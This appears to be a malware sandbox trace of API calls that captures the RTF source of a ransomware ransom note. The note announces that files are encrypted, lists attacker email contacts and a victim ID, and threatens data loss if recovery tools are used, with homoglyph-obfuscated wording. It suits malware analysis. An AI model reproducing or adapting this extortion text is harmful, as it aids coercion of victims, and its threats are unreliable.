\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 